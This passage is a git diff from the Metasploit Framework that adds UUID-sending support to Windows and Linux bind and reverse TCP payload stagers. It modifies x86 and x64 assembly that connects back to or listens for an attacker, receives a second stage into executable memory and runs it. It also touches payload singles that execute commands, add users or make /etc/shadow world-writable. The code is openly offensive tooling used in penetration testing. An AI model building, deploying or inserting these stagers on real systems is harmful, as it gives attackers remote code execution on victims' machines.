identical to Payload#internal_generate # Compile the stage as necessary if stage_assembly and !stage_assembly.empty? raw = build(stage_assembly, stage_offsets) else - raw = stage_payload.dup + raw = stage_payload(opts).dup end # Substitute variables in the stage @@ -156,7 +156,14 @@ module Msf::Payload::Stager # If the stage should be sent over the client connection that is # established (which is the default), then go ahead and transmit it. if (stage_over_connection?) - p = generate_stage + uuid_raw = conn.get_once(16, 1) + + opts = {} + if uuid_raw + opts[:uuid] = Msf::Payload::UUID.new({raw: uuid_raw}) + end + + p = generate_stage(opts) # Encode the stage if stage encoding is enabled begin diff --git a/lib/msf/core/payload/windows/bind_tcp.rb b/lib/msf/core/payload/windows/bind_tcp.rb index 5aa6cd3f94..c6488f2174 100644 --- a/lib/msf/core/payload/windows/bind_tcp.rb +++ b/lib/msf/core/payload/windows/bind_tcp.rb @@ -2,6 +2,7 @@ require 'msf/core' require 'msf/core/payload/transport_config' +require 'msf/core/payload/windows/send_uuid' require 'msf/core/payload/windows/block_api' require 'msf/core/payload/windows/exitfunk' @@ -19,6 +20,7 @@ module Payload::Windows::BindTcp include Msf::Payload::TransportConfig include Msf::Payload::Windows + include Msf::Payload::Windows::SendUUID include Msf::Payload::Windows::BlockApi include Msf::Payload::Windows::Exitfunk @@ -40,6 +42,14 @@ module Payload::Windows::BindTcp generate_bind_tcp(conf) end + # + # By default, we don't want to send the UUID, but we'll send + # for certain payloads if requested. + # + def include_send_uuid + false + end + def transport_config(opts={}) transport_config_bind_tcp(opts) end @@ -136,17 +146,17 @@ module Payload::Windows::BindTcp push edi ; socket push 0x6737DBC2 ; hash( "ws2_32.dll", "bind" ) call ebp ; bind( s, &sockaddr_in, 16 ); - ^ - - # Check for a failed bind() call - if reliable - asm << %Q^ - test eax,eax - jnz failure - ^ - end + ^ + # Check for a failed bind() call + if reliable asm << %Q^ + test eax,eax + jnz failure + ^ + end + + asm << %Q^ ; backlog, pushed earlier [3] push edi ; socket push 0xFF38E9B7 ; hash( "ws2_32.dll", "listen" ) @@ -162,7 +172,11 @@ module Payload::Windows::BindTcp xchg edi, eax ; replace the listening socket with the new connected socket for further comms push 0x614D6E75 ; hash( "ws2_32.dll", "closesocket" ) call ebp ; closesocket( s ); + ^ + asm << asm_send_uuid if include_send_uuid + + asm << %Q^ recv: ; Receive the size of the incoming second stage... push 0 ; flags @@ -171,17 +185,17 @@ module Payload::Windows::BindTcp push edi ; the saved socket push 0x5FC8D902 ; hash( "ws2_32.dll", "recv" ) call ebp ; recv( s, &dwLength, 4, 0 ); - ^ - - # Check for a failed recv() call - if reliable - asm << %Q^ - cmp eax, 0 - jle failure - ^ - end + ^ + # Check for a failed recv() call + if reliable asm << %Q^ + cmp eax, 0 + jle failure + ^ + end + + asm << %Q^ ; Alloc a RWX buffer for the second stage mov esi, [esi] ; dereference the pointer to the second stage length push 0x40 ; PAGE_EXECUTE_READWRITE @@ -200,38 +214,37 @@ module Payload::Windows::BindTcp push edi ; the saved socket push 0x5FC8D902 ; hash( "ws2_32.dll", "recv" ) call ebp ; recv( s, buffer, length, 0 ); - ^ - - # Check for a failed recv() call - if reliable - asm << %Q^ - cmp eax, 0 - jle failure - ^ - end + ^ + # Check for a failed recv() call + if reliable asm << %Q^ + cmp eax, 0 + jle failure + ^ + end + + asm << %Q^ add ebx, eax ; buffer += bytes_received sub esi, eax ; length -= bytes_received, will set flags jnz read_more ; continue if we have more to read ret ; return into the second stage + ^ + + if reliable + if opts[:exitfunk] + asm << %Q^ + failure: + ^ + asm << asm_exitfunk(opts) + else + asm << %Q^ + failure: + push 0x56A2B5F0 ; hardcoded to exitprocess for size + call ebp ^ - - if reliable - if opts[:exitfunk] - asm << %Q^ - failure: - - ^ - asm << asm_exitfunk(opts) - else - asm << %Q^ - failure: - push 0x56A2B5F0 ; hardcoded to exitprocess for size - call ebp - ^ - end end + end asm end diff --git a/lib/msf/core/payload/windows/reverse_tcp.rb b/lib/msf/core/payload/windows/reverse_tcp.rb index 770effc317..4440166649 100644 --- a/lib/msf/core/payload/windows/reverse_tcp.rb +++ b/lib/msf/core/payload/windows/reverse_tcp.rb @@ -2,6 +2,7 @@ require 'msf/core' require 'msf/core/payload/transport_config' +require 'msf/core/payload/windows/send_uuid' require 'msf/core/payload/windows/block_api' require 'msf/core/payload/windows/exitfunk' @@ -17,6 +18,7 @@ module Payload::Windows::ReverseTcp include Msf::Payload::TransportConfig include Msf::Payload::Windows + include Msf::Payload::Windows::SendUUID include Msf::Payload::Windows::BlockApi include Msf::Payload::Windows::Exitfunk @@ -40,6 +42,14 @@ module Payload::Windows::ReverseTcp generate_reverse_tcp(conf) end + # + # By default, we don't want to send the UUID, but we'll send + # for certain payloads if requested. + # + def include_send_uuid + false + end + def transport_config(opts={}) transport_config_reverse_tcp(opts) end @@ -141,21 +151,21 @@ module Payload::Windows::ReverseTcp handle_failure: dec dword [esi+8] jnz try_connect - ^ + ^ - if opts[:exitfunk] - asm << %Q^ - failure: - call exitfunk - ^ - else - asm << %Q^ - failure: - push 0x56A2B5F0 ; hardcoded to exitprocess for size - call ebp - ^ - end - # TODO: Rewind the stack, free memory, try again + if opts[:exitfunk] + asm << %Q^ + failure: + call exitfunk + ^ + else + asm << %Q^ + failure: + push 0x56A2B5F0 ; hardcoded to exitprocess for size + call ebp + ^ + end + # TODO: Rewind the stack, free memory, try again =begin if opts[:reliable] asm << %Q^ @@ -165,7 +175,9 @@ module Payload::Windows::ReverseTcp end =end - asm << %Q^ + asm << asm_send_uuid if include_send_uuid + + asm << %Q^ connected: recv: @@ -176,18 +188,18 @@ module Payload::Windows::ReverseTcp push edi ; the saved socket push 0x5FC8D902 ; hash( "ws2_32.dll", "recv" ) call ebp ; recv( s, &dwLength, 4, 0 ); - ^ - - # Check for a failed recv() call - # TODO: Try again by jmping to reconnect - if reliable - asm << %Q^ - cmp eax, 0 - jle failure - ^ - end + ^ + # Check for a failed recv() call + # TODO: Try again by jmping to reconnect + if reliable asm << %Q^ + cmp eax, 0 + jle failure + ^ + end + + asm << %Q^ ; Alloc a RWX buffer for the second stage mov esi, [esi] ; dereference the pointer to the second stage length push 0x40 ; PAGE_EXECUTE_READWRITE @@ -213,17 +225,17 @@ module Payload::Windows::ReverseTcp # TODO: Try again by jmping to reconnect if reliable asm << %Q^ - cmp eax, 0 - jle failure - ^ + cmp eax, 0 + jle failure + ^ end asm << %Q^ - add ebx, eax ; buffer += bytes_received - sub esi, eax ; length -= bytes_received, will set flags - jnz read_more ; continue if we have more to read - ret ; return into the second stage - ^ + add ebx, eax ; buffer += bytes_received + sub esi, eax ; length -= bytes_received, will set flags + jnz read_more ; continue if we have more to read + ret ; return into the second stage + ^ if opts[:exitfunk] asm << asm_exitfunk(opts) diff --git a/lib/msf/core/payload/windows/send_uuid.rb b/lib/msf/core/payload/windows/send_uuid.rb new file mode 100644 index 0000000000..5535ebfee5 --- /dev/null +++ b/lib/msf/core/payload/windows/send_uuid.rb @@ -0,0 +1,50 @@ +# -*- coding: binary -*- + +require 'msf/core' +require 'msf/core/payload/uuid' + +module Msf + +### +# +# Basic send_uuid stub for Windows ARCH_X86 payloads +# +### + +module Payload::Windows::SendUUID + + # + # Generate assembly code that writes the UUID to the socket. + # + # This code assumes that the block API pointer is in ebp, and + # the communications socket handle is in edi. + # + def asm_send_uuid(uuid=nil) + unless uuid + uuid = Msf::Payload::UUID.new( + platform: 'windows', + arch: ARCH_X86 + ) + end + + uuid_raw = uuid.to_raw + + asm =%Q^ + send_uuid: + push 0 ; flags + push #{uuid_raw.length} ; length of the UUID + call get_uuid_address ; put uuid buffer on tehe stack + db #{raw_to_db(uuid_raw)} ; UUID + get_uuid_address: + push edi ; saved socket + push #{Rex::Text.block_api_hash('ws2_32.dll', 'send')} + call ebp ; call send + ^ + + asm + end + +end + +end + diff --git a/lib/msf/core/payload/windows/x64/bind_tcp.rb b/lib/msf/core/payload/windows/x64/bind_tcp.rb index e9a9633591..f7f032dc8c 100644 --- a/lib/msf/core/payload/windows/x64/bind_tcp.rb +++ b/lib/msf/core/payload/windows/x64/bind_tcp.rb @@ -2,6 +2,7 @@ require 'msf/core' require 'msf/core/payload/transport_config' +require 'msf/core/payload/windows/x64/send_uuid' require 'msf/core/payload/windows/x64/block_api' require 'msf/core/payload/windows/x64/exitfunk' @@ -17,6 +18,7 @@ module Payload::Windows::BindTcp_x64 include Msf::Payload::TransportConfig include Msf::Payload::Windows + include Msf::Payload::Windows::SendUUID_x64 include Msf::Payload::Windows::BlockApi_x64 include Msf::Payload::Windows::Exitfunk_x64 @@ -38,6 +40,14 @@ module Payload::Windows::BindTcp_x64 generate_bind_tcp(conf) end + # + # By default, we don't want to send the UUID, but we'll send + # for certain payloads if requested. + # + def include_send_uuid + false + end + def transport_config(opts={}) transport_config_bind_tcp(opts) end @@ -149,7 +159,11 @@ module Payload::Windows::BindTcp_x64 call rbp ; closesocket( s ); ; restore RSP so we dont have any alignment issues with the next block... add rsp, #{408+8+8*4+32*7} ; cleanup the stack allocations + ^ + asm << asm_send_uuid if include_send_uuid + + asm << %Q^ recv: ; Receive the size of the incoming second stage... sub rsp, 16 ; alloc some space (16 bytes) on stack for to hold the second stage length diff --git a/lib/msf/core/payload/windows/x64/reverse_tcp.rb b/lib/msf/core/payload/windows/x64/reverse_tcp.rb index 110a3a1294..9101a147e1 100644 --- a/lib/msf/core/payload/windows/x64/reverse_tcp.rb +++ b/lib/msf/core/payload/windows/x64/reverse_tcp.rb @@ -2,6 +2,7 @@ require 'msf/core' require 'msf/core/payload/transport_config' +require 'msf/core/payload/windows/x64/send_uuid' require 'msf/core/payload/windows/x64/block_api' require 'msf/core/payload/windows/x64/exitfunk' @@ -17,6 +18,7 @@ module Payload::Windows::ReverseTcp_x64 include Msf::Payload::TransportConfig include Msf::Payload::Windows + include Msf::Payload::Windows::SendUUID_x64 include Msf::Payload::Windows::BlockApi_x64 include Msf::Payload::Windows::Exitfunk_x64 @@ -47,6 +49,14 @@ module Payload::Windows::ReverseTcp_x64 generate_reverse_tcp(conf) end + # + # By default, we don't want to send the UUID, but we'll send + # for certain payloads if requested. + # + def include_send_uuid + false + end + # # Generate and compile the stager # @@ -112,17 +122,17 @@ module Payload::Windows::ReverseTcp_x64 mov r12, #{encoded_host_port} push r12 ; host, family AF_INET and port mov r12, rsp ; save pointer to sockaddr struct for connect call - ; perform the call to LoadLibraryA... + ; perform the call to LoadLibraryA... mov rcx, r14 ; set the param for the library to load mov r10d, 0x0726774C ; hash( "kernel32.dll", "LoadLibraryA" ) call rbp ; LoadLibraryA( "ws2_32" ) - ; perform the call to WSAStartup... + ; perform the call to WSAStartup... mov rdx, r13 ; second param is a pointer to this stuct push 0x0101 ; pop rcx ; set the param for the version requested mov r10d, 0x006B8029 ; hash( "ws2_32.dll", "WSAStartup" ) call rbp ; WSAStartup( 0x0101, &WSAData ); - ; perform the call to WSASocketA... + ; perform the call to WSASocketA... push rax ; if we succeed, rax wil be zero, push zero for the flags param. push rax ; push null for reserved parameter xor r9, r9 ; we do not specify a WSAPROTOCOL_INFO structure @@ -134,7 +144,7 @@ module Payload::Windows::ReverseTcp_x64 mov r10d, 0xE0DF0FEA ; hash( "ws2_32.dll", "WSASocketA" ) call rbp ; WSASocketA( AF_INET, SOCK_STREAM, 0, 0, 0, 0 ); mov rdi, rax ; save the socket for later - ; perform the call to connect... + ; perform the call to connect... push 16 ; length of the sockaddr struct pop r8 ; pop off the third param mov rdx, r12 ; set second param to pointer to sockaddr struct @@ -143,7 +153,11 @@ module Payload::Windows::ReverseTcp_x64 call rbp ; connect( s, &sockaddr, 16 ); ; restore RSP so we dont have any alignment issues with the next block... add rsp, #{408+8+8*4+32*4} ; cleanup the stack allocations + ^ + asm << asm_send_uuid if include_send_uuid + + asm << %Q^ recv: ; Receive the size of the incoming second stage... sub rsp, 16 ; alloc some space (16 bytes) on stack for to hold the second stage length diff --git a/lib/msf/core/payload/windows/x64/send_uuid.rb b/lib/msf/core/payload/windows/x64/send_uuid.rb new file mode 100644 index 0000000000..9f0de57262 --- /dev/null +++ b/lib/msf/core/payload/windows/x64/send_uuid.rb @@ -0,0 +1,52 @@ +# -*- coding: binary -*- + +require 'msf/core' +require 'msf/core/payload/uuid' + +module Msf + +### +# +# Basic send_uuid stub for Windows ARCH_X86_64 payloads +# +### + +module Payload::Windows::SendUUID_x64 + + # + # Generate assembly code that writes the UUID to the socket. + # + # This code assumes that the block API pointer is in rbp, and + # the communications socket handle is in rdi. + # + def asm_send_uuid(uuid=nil) + unless uuid + uuid = Msf::Payload::UUID.new( + platform: 'windows', + arch: ARCH_X86_64 + ) + end + + uuid_raw = uuid.to_raw + + asm =%Q^ + send_uuid: + xor r9, r9 ; flags + push #{uuid_raw.length} ; length of the UUID + pop r8 + call get_uuid_address ; put uuid buffer on tehe stack + db #{raw_to_db(uuid_raw)} ; UUID + get_uuid_address: + pop rdx ; UUID address + mov rcx, rdi ; Socket handle + mov r10, #{Rex::Text.block_api_hash('ws2_32.dll', 'send')} + call rbp ; call send + ^ + + asm + end + +end + +end + diff --git a/modules/payloads/singles/bsd/x64/exec.rb b/modules/payloads/singles/bsd/x64/exec.rb index 17eb2c5195..fb391f6b3d 100644 --- a/modules/payloads/singles/bsd/x64/exec.rb +++ b/modules/payloads/singles/bsd/x64/exec.rb @@ -41,7 +41,7 @@ module Metasploit3 # # Dynamically builds the exec payload based on the user's options. # - def generate_stage + def generate_stage(opts={}) cmd_str = datastore['CMD'] || '' # Split the cmd string into arg chunks cmd_parts = Shellwords.shellsplit(cmd_str) diff --git a/modules/payloads/singles/bsd/x86/exec.rb b/modules/payloads/singles/bsd/x86/exec.rb index b407766c64..552ff37273 100644 --- a/modules/payloads/singles/bsd/x86/exec.rb +++ b/modules/payloads/singles/bsd/x86/exec.rb @@ -45,7 +45,7 @@ module Metasploit3 # # Dynamically builds the exec payload based on the user's options. # - def generate_stage + def generate_stage(opts={}) bsd_x86_exec_payload end diff --git a/modules/payloads/singles/linux/armle/adduser.rb b/modules/payloads/singles/linux/armle/adduser.rb index e7f95502bd..d8b72f2391 100644 --- a/modules/payloads/singles/linux/armle/adduser.rb +++ b/modules/payloads/singles/linux/armle/adduser.rb @@ -43,7 +43,7 @@ module Metasploit3 # # Dynamically builds the adduser payload based on the user's options. # - def generate_stage + def generate_stage(opts={}) user = datastore['USER'] || 'metasploit' pass = datastore['PASS'] || 'metasploit' shell = datastore['SHELL'] || '/bin/sh' diff --git a/modules/payloads/singles/linux/armle/exec.rb b/modules/payloads/singles/linux/armle/exec.rb index 1782fa7b6b..0b3bd3c7ba 100644 --- a/modules/payloads/singles/linux/armle/exec.rb +++ b/modules/payloads/singles/linux/armle/exec.rb @@ -35,7 +35,7 @@ module Metasploit3 ], self.class) end - def generate_stage + def generate_stage(opts={}) cmd = datastore['CMD'] || '' payload = diff --git a/modules/payloads/singles/linux/x64/exec.rb b/modules/payloads/singles/linux/x64/exec.rb index 83860c1c42..430527ecf7 100644 --- a/modules/payloads/singles/linux/x64/exec.rb +++ b/modules/payloads/singles/linux/x64/exec.rb @@ -28,7 +28,7 @@ module Metasploit3 ], self.class) end - def generate_stage + def generate_stage(opts={}) cmd = (datastore['CMD'] || '') << "\x00" call = "\xe8" + [cmd.length].pack('V') payload = diff --git a/modules/payloads/singles/linux/x86/adduser.rb b/modules/payloads/singles/linux/x86/adduser.rb index 01a18780df..064b5ca314 100644 --- a/modules/payloads/singles/linux/x86/adduser.rb +++ b/modules/payloads/singles/linux/x86/adduser.rb @@ -44,7 +44,7 @@ module Metasploit3 # # Dynamically builds the adduser payload based on the user's options. # - def generate_stage + def generate_stage(opts={}) user = datastore['USER'] || 'metasploit' pass = datastore['PASS'] || 'metasploit' shell = datastore['SHELL'] || '/bin/sh' diff --git a/modules/payloads/singles/linux/x86/chmod.rb b/modules/payloads/singles/linux/x86/chmod.rb index dca5193c63..6ed4ea11a0 100644 --- a/modules/payloads/singles/linux/x86/chmod.rb +++ b/modules/payloads/singles/linux/x86/chmod.rb @@ -34,7 +34,7 @@ module Metasploit3 end # Dynamically generates chmod(FILE, MODE) + exit() - def generate_stage + def generate_stage(opts={}) file = datastore['FILE'] || '/etc/shadow' mode = (datastore['MODE'] || "0666").oct diff --git a/modules/payloads/singles/linux/x86/exec.rb b/modules/payloads/singles/linux/x86/exec.rb index 2ef0c9e84a..dcb8d3ce25 100644 --- a/modules/payloads/singles/linux/x86/exec.rb +++ b/modules/payloads/singles/linux/x86/exec.rb @@ -39,7 +39,7 @@ module Metasploit3 # # Dynamically builds the exec payload based on the user's options. # - def generate_stage + def generate_stage(opts={}) cmd = datastore['CMD'] || '' payload = "\x6a\x0b\x58\x99\x52\x66\x68\x2d\x63\x89\xe7\x68" + diff --git a/modules/payloads/singles/linux/x86/read_file.rb b/modules/payloads/singles/linux/x86/read_file.rb index 840fa68508..1a6ce1819b 100644 --- a/modules/payloads/singles/linux/x86/read_file.rb +++ b/modules/payloads/singles/linux/x86/read_file.rb @@ -30,7 +30,7 @@ module Metasploit3 ], self.class) end - def generate_stage + def generate_stage(opts={}) fd = datastore['FD'] payload_data =<<-EOS diff --git a/modules/payloads/singles/osx/x86/exec.rb b/modules/payloads/singles/osx/x86/exec.rb index 7658f6e3f6..7756c8f420 100644 --- a/modules/payloads/singles/osx/x86/exec.rb +++ b/modules/payloads/singles/osx/x86/exec.rb @@ -44,7 +44,7 @@ module Metasploit3 # # Dynamically builds the exec payload based on the user's options. # - def generate_stage + def generate_stage(opts={}) bsd_x86_exec_payload end end diff --git a/modules/payloads/stagers/linux/x86/bind_tcp_uuid.rb b/modules/payloads/stagers/linux/x86/bind_tcp_uuid.rb new file mode 100644 index 0000000000..92d7b005ea --- /dev/null +++ b/modules/payloads/stagers/linux/x86/bind_tcp_uuid.rb @@ -0,0 +1,44 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + + +require 'msf/core' +require 'msf/core/handler/bind_tcp' +require 'msf/core/payload/linux/bind_tcp' + +module Metasploit4 + + CachedSize = 110 + + include Msf::Payload::Stager + include Msf::Payload::Linux::BindTcp + + def self.handler_type_alias + 'bind_tcp_uuid' + end + + def initialize(info = {}) + super(merge_info(info, + 'Name' => 'Bind TCP Stager, sending UUID (Linux x86)', + 'Description' => 'Listen for a connection, sending UUID (Linux x86)', + 'Author' => [ 'skape', 'egypt' ], + 'License' => MSF_LICENSE, + 'Platform' => 'linux', + 'Arch' => ARCH_X86, + 'Handler' => Msf::Handler::BindTcp, + 'Convention' => 'sockedi', + 'Stager' => { 'RequiresMidstager' => true } + )) + end + + # + # Override the uuid function and opt-in for sending the + # UUID in the stage. + # + def include_send_uuid + true + end + +end diff --git a/modules/payloads/stagers/linux/x86/reverse_tcp_uuid.rb b/modules/payloads/stagers/linux/x86/reverse_tcp_uuid.rb new file mode 100644 index 0000000000..5c3657ec11 --- /dev/null +++ b/modules/payloads/stagers/linux/x86/reverse_tcp_uuid.rb @@ -0,0 +1,42 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + + +require 'msf/core' +require 'msf/core/handler/reverse_tcp' +require 'msf/core/payload/linux/reverse_tcp' + +module Metasploit4 + + CachedSize = 193 + + include Msf::Payload::Stager + include Msf::Payload::Linux::ReverseTcp + + def self.handler_type_alias + 'reverse_tcp_uuid' + end + + def initialize(info = {}) + super(merge_info(info, + 'Name' => 'Reverse TCP Stager', + 'Description' => 'Connect back to the attacker', + 'Author' => [ 'skape', 'egypt' ], + 'License' => MSF_LICENSE, + 'Platform' => 'linux', + 'Arch' => ARCH_X86, + 'Handler' => Msf::Handler::ReverseTcp, + 'Stager' => { 'Payload' => '' })) + end + + # + # Override the uuid function and opt-in for sending the + # UUID in the stage. + # + def include_send_uuid + true + end + +end diff --git a/modules/payloads/stagers/windows/bind_tcp.rb b/modules/payloads/stagers/windows/bind_tcp.rb index 6540c6735e..c59304480d 100644 --- a/modules/payloads/stagers/windows/bind_tcp.rb +++ b/modules/payloads/stagers/windows/bind_tcp.rb @@ -17,16 +17,16 @@ module Metasploit4 def initialize(info = {}) super(merge_info(info, - 'Name' => 'Bind TCP Stager (Windows x86)', - 'Description' => 'Listen for a connection (Windows x86)', - 'Author' => ['hdm', 'skape', 'sf'], - 'License' => MSF_LICENSE, - 'Platform' => 'win', - 'Arch' => ARCH_X86, - 'Handler' => Msf::Handler::BindTcp, - 'Convention' => 'sockedi', - 'Stager' => { 'RequiresMidstager' => false } - )) + 'Name' => 'Bind TCP Stager (Windows x86)', + 'Description' => 'Listen for a connection (Windows x86)', + 'Author' => ['hdm', 'skape', 'sf'], + 'License' => MSF_LICENSE, + 'Platform' => 'win', + 'Arch' => ARCH_X86, + 'Handler' => Msf::Handler::BindTcp, + 'Convention' => 'sockedi', + 'Stager' => { 'RequiresMidstager' => false } + )) end end diff --git a/modules/payloads/stagers/windows/bind_tcp_rc4.rb b/modules/payloads/stagers/windows/bind_tcp_rc4.rb index b3cedca190..cd50c3b324 100644 --- a/modules/payloads/stagers/windows/bind_tcp_rc4.rb +++ b/modules/payloads/stagers/windows/bind_tcp_rc4.rb @@ -74,8 +74,8 @@ module Metasploit3 ], self.class) end - def generate_stage - p = super + def generate_stage(opts={}) + p = super(opts) m = OpenSSL::Digest.new('sha1') m.reset key = m.digest(datastore["RC4PASSWORD"] || "") diff --git a/modules/payloads/stagers/windows/bind_tcp_uuid.rb b/modules/payloads/stagers/windows/bind_tcp_uuid.rb new file mode 100644 index 0000000000..4a2a7cfbb0 --- /dev/null +++ b/modules/payloads/stagers/windows/bind_tcp_uuid.rb @@ -0,0 +1,44 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + + +require 'msf/core' +require 'msf/core/handler/bind_tcp' +require 'msf/core/payload/windows/bind_tcp' + +module Metasploit4 + + CachedSize = 318 + + include Msf::Payload::Stager + include Msf::Payload::Windows::BindTcp + + def self.handler_type_alias + 'bind_tcp_uuid' + end + + def initialize(info = {}) + super(merge_info(info, + 'Name' => 'Windows x86 Bind TCP Stager, sending UUID', + 'Description' => 'Listen for a connection, send UUID (Windows x86)', + 'Author' => ['OJ Reeves'], + 'License' => MSF_LICENSE, + 'Platform' => 'win', + 'Arch' => ARCH_X86, + 'Handler' => Msf::Handler::BindTcp, + 'Convention' => 'sockedi', + 'Stager' => { 'RequiresMidstager' => false } + )) + end + + # + # Override the uuid function and opt-in for sending the + # UUID in the stage. + # + def include_send_uuid + true + end + +end diff --git a/modules/payloads/stagers/windows/reverse_tcp.rb b/modules/payloads/stagers/windows/reverse_tcp.rb index 8df5d350b0..8fe18aabd6 100644 --- a/modules/payloads/stagers/windows/reverse_tcp.rb +++ b/modules/payloads/stagers/windows/reverse_tcp.rb @@ -17,16 +17,16 @@ module Metasploit4 def initialize(info = {}) super(merge_info(info, - 'Name' => 'Reverse TCP Stager', - 'Description' => 'Connect back to the attacker', - 'Author' => ['hdm', 'skape', 'sf'], - 'License' => MSF_LICENSE, - 'Platform' => 'win', - 'Arch' => ARCH_X86, - 'Handler' => Msf::Handler::ReverseTcp, - 'Convention' => 'sockedi', - 'Stager' => { 'RequiresMidstager' => false } - )) + 'Name' => 'Reverse TCP Stager', + 'Description' => 'Connect back to the attacker', + 'Author' => ['hdm', 'skape', 'sf'], + 'License' => MSF_LICENSE, + 'Platform' => 'win', + 'Arch' => ARCH_X86, + 'Handler' => Msf::Handler::ReverseTcp, + 'Convention' => 'sockedi', + 'Stager' => { 'RequiresMidstager' => false } + )) end end diff --git a/modules/payloads/stagers/windows/reverse_tcp_rc4.rb b/modules/payloads/stagers/windows/reverse_tcp_rc4.rb index bf3822115a..6374045fac 100644 --- a/modules/payloads/stagers/windows/reverse_tcp_rc4.rb +++ b/modules/payloads/stagers/windows/reverse_tcp_rc4.rb @@ -75,8 +75,8 @@ module Metasploit3 ], self.class) end - def generate_stage - p = super + def generate_stage(opts={}) + p = super(opts) m = OpenSSL::Digest.new('sha1') m.reset key = m.digest(datastore["RC4PASSWORD"] || "") diff --git a/modules/payloads/stagers/windows/reverse_tcp_rc4_dns.rb b/modules/payloads/stagers/windows/reverse_tcp_rc4_dns.rb index 354ce989e5..24d29b7e81 100644 --- a/modules/payloads/stagers/windows/reverse_tcp_rc4_dns.rb +++ b/modules/payloads/stagers/windows/reverse_tcp_rc4_dns.rb @@ -83,7 +83,8 @@ module Metasploit3 ], self.class) end - def generate_stage + def generate_stage(opts={}) + p = super(opts) m = OpenSSL::Digest.new('sha1') m.reset key = m.digest(datastore["RC4PASSWORD"] || "") diff --git a/modules/payloads/stagers/windows/reverse_tcp_uuid.rb b/modules/payloads/stagers/windows/reverse_tcp_uuid.rb new file mode 100644 index 0000000000..a1d7afa7f3 --- /dev/null +++ b/modules/payloads/stagers/windows/reverse_tcp_uuid.rb @@ -0,0 +1,44 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + + +require 'msf/core' +require 'msf/core/handler/reverse_tcp' +require 'msf/core/payload/windows/reverse_tcp' + +module Metasploit4 + + CachedSize = 314 + + include Msf::Payload::Stager + include Msf::Payload::Windows::ReverseTcp + + def self.handler_type_alias + 'reverse_tcp_uuid' + end + + def initialize(info = {}) + super(merge_info(info, + 'Name' => 'Reverse TCP Stager with UUID support', + 'Description' => 'Connect back to the attacker, send UUID first', + 'Author' => ['OJ Reeves'], + 'License' => MSF_LICENSE, + 'Platform' => 'win', + 'Arch' => ARCH_X86, + 'Handler' => Msf::Handler::ReverseTcp, + 'Convention' => 'sockedi', + 'Stager' => { 'RequiresMidstager' => false } + )) + end + + # + # Override the uuid function and opt-in for sending the + # UUID in the stage. + # + def include_send_uuid + true + end + +end diff --git a/modules/payloads/stagers/windows/x64/bind_tcp_uuid.rb b/modules/payloads/stagers/windows/x64/bind_tcp_uuid.rb new file mode 100644 index 0000000000..968dcd0370 --- /dev/null +++ b/modules/payloads/stagers/windows/x64/bind_tcp_uuid.rb @@ -0,0 +1,43 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' +require 'msf/core/handler/bind_tcp' +require 'msf/core/payload/windows/x64/bind_tcp' + +module Metasploit4 + + CachedSize = 520 + + include Msf::Payload::Stager + include Msf::Payload::Windows::BindTcp_x64 + + def self.handler_type_alias + 'bind_tcp_uuid' + end + + def initialize(info = {}) + super(merge_info(info, + 'Name' => 'Windows x64 Bind TCP Stager, sending UUID', + 'Description' => 'Listen for a connection, send UUID (Windows x64)', + 'Author' => [ 'sf' ], + 'License' => MSF_LICENSE, + 'Platform' => 'win', + 'Arch' => ARCH_X86_64, + 'Handler' => Msf::Handler::BindTcp, + 'Convention' => 'sockrdi', + 'Stager' => { 'RequiresMidstager' => false } + )) + end + + # + # Override the uuid function and opt-in for sending the + # UUID in the stage. + # + def include_send_uuid + true + end + +end diff --git a/modules/payloads/stagers/windows/x64/reverse_tcp.rb b/modules/payloads/stagers/windows/x64/reverse_tcp.rb index 1715f2eba9..fa311123ee 100644 --- a/modules/payloads/stagers/windows/x64/reverse_tcp.rb +++ b/modules/payloads/stagers/windows/x64/reverse_tcp.rb @@ -16,16 +16,16 @@ module Metasploit4 def initialize(info = {}) super(merge_info(info, - 'Name' => 'Windows x64 Reverse TCP Stager', - 'Description' => 'Connect back to the attacker (Windows x64)', - 'Author' => [ 'sf' ], - 'License' => MSF_LICENSE, - 'Platform' => 'win', - 'Arch' => ARCH_X86_64, - 'Handler' => Msf::Handler::ReverseTcp, - 'Convention' => 'sockrdi', - 'Stager' => { 'RequiresMidstager' => false } - )) + 'Name' => 'Windows x64 Reverse TCP Stager', + 'Description' => 'Connect back to the attacker (Windows x64)', + 'Author' => [ 'sf' ], + 'License' => MSF_LICENSE, + 'Platform' => 'win', + 'Arch' => ARCH_X86_64, + 'Handler' => Msf::Handler::ReverseTcp, + 'Convention' => 'sockrdi', + 'Stager' => { 'RequiresMidstager' => false } + )) end end diff --git a/modules/payloads/stagers/windows/x64/reverse_tcp_uuid.rb b/modules/payloads/stagers/windows/x64/reverse_tcp_uuid.rb new file mode 100644 index 0000000000..5c03b40aa8 --- /dev/null +++ b/modules/payloads/stagers/windows/x64/reverse_tcp_uuid.rb @@ -0,0 +1,43 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' +require 'msf/core/handler/reverse_tcp' +require 'msf/core/payload/windows/x64/reverse_tcp' + +module Metasploit4 + + CachedSize = 478 + + include Msf::Payload::Stager + include Msf::Payload::Windows::ReverseTcp_x64 + + def self.handler_type_alias + 'reverse_tcp_uuid' + end + + def initialize(info = {}) + super(merge_info(info, + 'Name' => 'Windows x64 Reverse TCP Stager with UUID support', + 'Description' => 'Connect back to the attacker, send UUID first (Windows x64)', + 'Author' => ['OJ Reeves'], + 'License' => MSF_LICENSE, + 'Platform' => 'win', + 'Arch' => ARCH_X86_64, + 'Handler' => Msf::Handler::ReverseTcp, + 'Convention' => 'sockrdi', + 'Stager' => { 'RequiresMidstager' => false } + )) + end + + # + # Override the uuid function and opt-in for sending the + # UUID in the stage. + # + def include_send_uuid + true + end + +end diff --git a/modules/payloads/stages/android/meterpreter.rb b/modules/payloads/stages/android/meterpreter.rb index 5c42790620..065435cd37 100644 --- a/modules/payloads/stages/android/meterpreter.rb +++ b/modules/payloads/stages/android/meterpreter.rb @@ -36,7 +36,8 @@ module Metasploit3 # Override the Payload::Dalvik version so we can load a prebuilt jar to be # used as the final stage # - def generate_stage + def generate_stage(opts={}) + # TODO: wire the UUID into the stage clazz = 